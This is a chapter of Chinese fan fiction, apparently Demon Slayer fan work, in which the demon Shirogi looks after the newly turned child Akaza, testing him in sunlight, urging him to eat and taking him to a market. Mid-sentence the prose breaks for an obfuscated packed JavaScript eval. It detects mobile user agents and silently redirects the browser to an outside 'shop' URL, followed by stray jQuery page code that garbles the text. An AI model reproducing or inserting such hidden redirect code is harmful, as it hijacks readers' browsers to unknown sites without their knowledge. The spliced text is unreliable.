以前的狛治是不会让白城这么端一盆水,却迟迟不上前帮忙的。 眼前的人跪在脚下,垂眉低头不敢望他,是下属和上司之间合适的距离,刻板又疏离。 手里的水盆砸在地上,水花扬在空中,又重重拍打在猗窝座的脸上。 他没有躲。 只是岿然不动地跪在原地,水顺着他脸上的纹身缓缓下|流,剔透的水柱挂在他睫毛。 他只是沉默地,屈膝,跪着,什么也没干。 水顺着地面漫向白城的鞋底,被打湿的裤脚黏在皮肤上,白城怔在原地,突然生出滔天的恨来。 自厌、愤怒、恨意一下子把他打入海花的浪潮里,一浪接一浪,拍得人换不了气。 “先洗脸吧。”白城垂眉,前额叶掐断了激素的作用,强行隔离了情绪,“我再去打一盆水。” 他端着水盆匆匆往外走,不敢回头。 猗窝座听着他远去的脚步,隔了好久才直起身来,少年站在阴影里,眼神冷淡,不知道在想些什么。 “白城大人。”去取水的路上遇到了仆从,大家纷纷朝白城行礼,“您要去打水吗?不如我来吧。” 人是真实的,眼里的笑也是真实的,发自内心的景仰还是真实的,町奉行所的一草一木都是真实的,头顶的太阳也是真实的,落在皮肤上的温度还是真实的,真实到让白城忘了——自己不是町奉行,而是一只鬼,一只能行走在阳光下的鬼。 白城朝他们笑了笑,“不用,我自己去就好,想要换换大脑,呼吸一下新鲜空气。” 于是仆从们远去了。 系统说的其实也没错。 他作为一只鬼,不好好使用“坐山高”转换下属,尽快变强,而是待在町奉行所,正儿八经地去当一个町奉行,怎么都有些让人觉得失了智。 要是他尽早跟鬼杀队搭上线,尽早让柱们埋伏下来,如果他多转化一些鬼,变得再强些,如果他先发制人,会不会狛治就不会死? 世界上没有那么多如果,也没什么尽早。 白城只是觉得有些荒唐,过去的一个月都过得有些荒唐。 见到无惨的一瞬间,他才意识到自己面对的不是大家调侃的“杀鬼第一名”的屑老板,才意识到那句堪称笑话的台词——“你把生命当成什么了?”的背后,不是“当成宝了,哥。”而是一条活生生的血淋淋的死去的人命。 是被终结的人生,停止的记忆。 对面是鬼舞辻无惨,是鬼杀队千百年来束手无策的鬼王。 白城提起木桶,弯腰把水倒进脸盆——是你死我活的敌人。 拉开门的时候,猗窝座还是站在原地没动,小小一只,躯干上布满了纹身。 “会洗脸吗?”白城问他。 他沉默。 于是白城示范给他看。 他接过毛巾,简单擦洗了一遍。 早餐囫囵解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16610949|182609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决,猗窝座什么也没吃,恹恹坐在位置上,像是对人类食物提不起兴趣。 饭后,白城找了个透着阳光的角落,把他召进自己怀里。 猗窝座明显是愕然的,但血脉里对于原始鬼的臣服,让他还是僵硬地坐在白城的腿上。 “可能会有些痛。”白城抓住他的手腕,缓缓跟他十指相扣。 他挣动一下,明显不习惯这种亲密接触,脊背直绷着,根本不敢靠在白城身上。 “放松。”白城轻声道,“我想看看你能不能晒太阳。” 白城握着他的掌心挪到窗边。 温和的阳光落在白城泛着青紫色静脉的手背,而狛治的指尖近乎在被太阳照到的一瞬就红了。 猗窝座想要抽回手。 “疼吗?”白城摁住了。 “辣。”猗窝座指尖蜷动一下,“还有些痒。” 白城仔细盯着他裸露在阳光下的皮肤,确认表层只有红痒和轻微蜕皮,并不像无惨制造出的鬼那般一遇到阳光就腐朽成灰烬,也静静安下了心。 “能晒太阳就能吃饭吧。”白城思考,早上看猗窝座一筷子没动,还在想小孩是不是吃不了人类食物。 猗窝座有些不自在地挪了挪屁股,想要从白城身上下去。 “为什么不吃饭?”白城伸手把人圈在了怀里。 猗窝座整个人连头发丝都炸开了,“白城大人……” “为什么?” 猗窝座左扭右扭,又不敢对白城用力,最后小声嘟囔了一句,“想吃肉。” “好素。” “不吃。” 白城哑然,老实说变成鬼的猗窝座要比狛治还要坦率得多。 平日里,狛治虽然也会把蔬菜留到最后吃,但万万没有挑食到这种地步。 “不行哦。”白城抿嘴摇头。 吓得猗窝座不敢动弹。 “你要什么都吃,才能长高。”白城絮絮叨叨,“变成鬼之后也不知道还能不能长个子,你今年才11,不到1米6就变成鬼了,以后要是没有恋雪小姐高,你就哭去吧。” 猗窝座不明白。 不明白白城为什么要说身高,不明白恋雪小姐又是谁,自己又为什么要哭。 对待有亏欠的孩子,白城心里自是升起无限怜惜,给小孩从头到脚裹得严严实实,尽量减少皮肤和阳光的接触面积,然后拉着人往外走。 猗窝座一开始只是默默跟着,等集市上人多了一些,就一直低着头,身体硬邦邦的,黑色的尖甲忍不住从指尖弹出来,浑身躁动不安。 “怎么了?”白城买了好几种口味的花蜜,准备让狛治看看还有什么想要的。 “丑。”猗窝座说。 白城一开始以为他在说装花蜜的罐子丑,过了一会才意识到狛治在说自己脸上的纹身丑。 白城捻住猗窝座的下巴,左右端详了两眼,“不丑啊,很帅啊,纹身很酷。” “对吧老板?” 老板刚收了银钱,喜笑颜开,头也没抬,嘴上一个劲奉承,“对对对,贵公子真是一表人才啊。” “他说谎。”猗窝座戳穿。 “那我呢?”白城问他,“我有说谎吗?” 猗窝座不语。 他看得见,那眸底有怜惜,有愧疚,还有一些旁的其它。 “我们要去哪?” 这是猗窝座第一次向白城提问,虽是想要岔开话题。 但白城温柔地笑了,“去履行约定噢?” “什么约定?” “少年对心爱的人说下的约定。” “不论发生什么,都不可以毁约噢——”